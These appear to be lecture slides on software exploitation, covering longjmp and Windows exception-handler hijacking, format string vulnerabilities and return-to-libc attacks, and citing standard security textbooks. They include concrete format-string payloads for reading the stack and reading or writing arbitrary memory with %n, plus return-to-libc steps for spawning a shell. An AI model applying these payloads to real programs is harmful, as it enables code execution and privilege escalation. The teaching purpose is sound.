Targets for Instruction Pointer Modification:longjmp()

#include <setjmp.h>

jmp_buf buf;

void g(int n);

void h(int n);

int n = 6;

void f(void){ setjmp(buf); g(n);}

void g(int n){ h(n);}

void h(int n) { longjmp(buf, 2);}

int main (void){

f();

return 0;

}

  • longjmp() example:
    • longjmp() returns control back to the point of the set_jmp() invocation.
targets for instruction pointer modification longjmp120
Targets for Instruction Pointer Modification:longjmp()
  • Linux implementation of jmp_buf
  • Notice the JB_PC field.
  • This is the target of an attack.
  • An arbitrary memory write can overwrite this field with the address of shellcode in the overflowing buffer.

1. typedef int __jmp_buf[6];

 2. #define JB_BX 0

 3. #define JB_SI 1

 4. #define JB_DI 2

 5. #define JB_BP 3

 6. #define JB_SP 4

 7. #define JB_PC 5

 8. #define JB_SIZE 24

 9. typedef struct __jmp_buf_tag {

10.    __jmp_buf __jmpbuf;

11.    int __mask_was_saved;

12.    __sigset_t __saved_mask;

13. } jmp_buf[1]

targets for instruction pointer modification longjmp121
longjmp(env, i)

movl i, %eax /* return i */

movl env.__jmpbuf[JB_BP], %ebp

movl env.__jmpbuf[JB_SP], %esp

jmp (env.__jmpbuf[JB_PC])

Targets for Instruction Pointer Modification:longjmp()

Assembly instructions in Linux

The movl instruction on line 2 restores the BP

The movl instruction on line 3 restores the stack pointer (SP).

Line 4 transfers control to the stored PC

targets for instruction pointer modification exception handling
Targets for Instruction Pointer Modification:Exception Handling
  • Exception
    • Event outside of the normal operation of a procedure.
    • Windows provides three types of exception handlers:
      • Vectored Exception Handling (VEH)
        • Added in Windows XP
        • Called first to override SEH.
      • Structured Exception Handling (SEH)
        • Implemented as per-function or per-thread exception handling.
      • System Default Exception Handling
targets for instruction pointer modification exception handling123
Targets for Instruction Pointer Modification:Exception Handling
  • Exception
    • Event outside of the normal operation of a procedure.
    • Windows provides three types of exception handlers:
      • Vectored Exception Handling (VEH)
        • Added in Windows XP
        • Called first to override SEH.
      • Structured Exception Handling (SEH)
        • Implemented as per-function or per-thread exception handling.
      • System Default Exception Handling
targets for instruction pointer modification exception handling124
Targets for Instruction Pointer Modification:Exception Handling
  • SEH
    • Implemented through try … catch blocks
      • Any exception raised in the try block is handled in the matching catch block.
      • If the catch block cannot handle it, it is passed back to prior scope.
      • __finally is a MS extension to C/C++
        • Used to clean-up anything instantiated in the try block.

try {

// Do stuff here

}

catch(…){

// Handle exception here

}

__finally {

// Handle cleanup here

}

targets for instruction pointer modification exception handling125
Targets for Instruction Pointer Modification:Exception Handling
  • SEH
    • Uses the EXECPTION_REGISTRATION structure
    • Located on stack.
    • Previous EXECPTION_REGISTRATION prev is at a higher stack address.
    • If the executable image header lists SAFE SEH handler addresses, the handler address must be listed as a SAFE SEH handler. Otherwise, any structured exception handler may be called.

EXCEPTION_REGISTRATION struc

prev dd ?

handler dd ?

_EXCEPTION_REGISTRATION ends

targets for instruction pointer modification exception handling126
Targets for Instruction Pointer Modification:Exception Handling

Stack Frame Initialization

  • Notice:
    • Exception handler address followed immediately by exception handler address.
    • This puts the exception handler address at risk from buffer overflow.

push ebp

mov ebp, esp

and esp, 0FFFFFFF8h

push 0FFFFFFFFh

push ptr [Exception_Handler]

mov eax, dword ptr fs:[00000000h]

push eax

mov dword ptr fs:[0], esp

targets for instruction pointer modification exception handling127
Targets for Instruction Pointer Modification:Exception Handling
  • Attacker can:
    • Overwrite the exception handler address. (supra)
    • Replace the pointer in the Thread Environment Block (TEB).
      • TEB contains lists of registered exception handlers.
        • Attacker mocks up a list entry as part of the payload.
        • Modify the first exception handler field using an arbitrary memory write.
      • Seems to be still possible despite recent Windows version checking validity of list entries.
targets for instruction pointer modification exception handling128
Targets for Instruction Pointer Modification:Exception Handling
  • Windows provides a global exception filter and handler for the entire process that is called if no previous exception handler can handle the exception.
  • Implement an unhandled exception filter for the entire process to gracefully handle unexpected error conditions and for debugging.
  • An unhandled exception filter function is assigned using the SetUnhandledExceptionFilter() function.
  • If an attacker overwrites specific memory addresses through an arbitrary memory write, the unhandled exception filter can be redirected to run arbitrary code.
format string vulnerability
Format String Vulnerability
  • A programmer shortcut uses
    • printf(string);

instead of

    • printf(“%s”,string);

This works fine, unless the string itself becomes a format string.

format string vulnerability130
Format String Vulnerability
  • Assume we have the following line:
    • printf(argv[1]);
    • Input testing%x and obtain:
      • testingbffff5a0
        • bffff5a0 is a value on the stack.
      • Now we can read the stack by inputing
        • %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
      • This is because the printf call will take its parameters from the stack.
format string vulnerability131
Format String Vulnerability
  • If we look far enough down the stack, we will find the string that we used as input.
format string vulnerability132
Format String Vulnerability
  • Assume we put in AAAA%08x.%08x.%08x.%08x.
  • Output is

AAAAbfff590.000003e8.000003e8.41414141

  • The 41-s are the beginning of the string.
  • If the fourth parameter would be displayed using the %s format, then the function will read the memory at that address!
format string vulnerability133
Format String Vulnerability
  • If we put in an arbitrary memory address, then we would get a segmentation fault.
  • But not if we take a valid memory address:
format string vulnerability134
Format String Vulnerability
  • Input \x14\xfd\xff\xbf.%x%x%x%s
  • Result is the contents at memory location bf ff fd 14.
  • Now we can read from any memory within the scope of the process!
format string vulnerability135
Format String Vulnerability
  • But we can even write to arbitrary memory!
  • %n
    • prints out number of bytes written out so far.
    • It also writes data.
    • Expects a memory address
    • Writes number of bytes so far written into that memory address.
format string vulnerability136
Format String Vulnerability
  • Input
    • \x70\x95\x04\x08%08x.%08x.%08x.%n
  • Output bffff590.000003e8.000003e8
  • But also sets content at 0x08049570 to 30.
  • This allows us to write small values to arbitrary memory belonging to the process.
  • One can now write individual bytes by using the width field in front of %n:
return into libc
Return into Libc
  • Making the stack non-executable will stop the bulk of buffer overflow attacks.
  • OpenBSD among others has a non-executable stack by default.
  • But these architecture can still be exploited with a “return to libc”.
return into libc138
Return into Libc
  • Basic vulnerable code:
return into libc139
Return into Libc
  • Use “system” in the C-library.
  • system(/bin/sh); spawns shell.
  • Use gdb to find where system is by debugging a simple program such as
return into libc140
Return into Libc
  • The address of system( ) will vary from system to system, but is constant for each system.
return into libc141
Return into Libc
  • To call system(“/bin/sh”), we need to provide it with parameters.
  • We need a pointer to /bin/sh.
return into libc142
Return into Libc
  • system() address is 0x42049e54
  • /bin/sh address is 0xbffffc40
  • Therefore, input
return into libc143
Return into Libc
  • First 28 B are just filler
  • The address of system
  • Return address is not used
  • Argument for system
return into libc144
Return into Libc
  • This will spawn a shell, but not at root level.
  • Can use a previous call to setuid followed by system.
  • Chaining of libc calls.
return into libc145
Return into Libc
  • Better:
    • Use a wrapper program to be executed by the vulnerable program.
    • Wrapper is simple:
    • Wrapper is executed at the privilege level of the vulnerable program, i.e. with root.
    • Unfortunately, it system(/bin/sh) still drops privileges.
return into libc146
Return into Libc
  • Ultimate solution:
    • Use execl( ) instead of system( ).
    • Since execl( ) expects parameters that should be zero (and zeroes terminate a string), we need various tricks to put strings into memory.
bibliography
Bibliography
  • Jon Erickson: Hacking, The art of exploitation, No Starch Press, 2003
  • Robert C. Seacord: Secure Coding in C and C++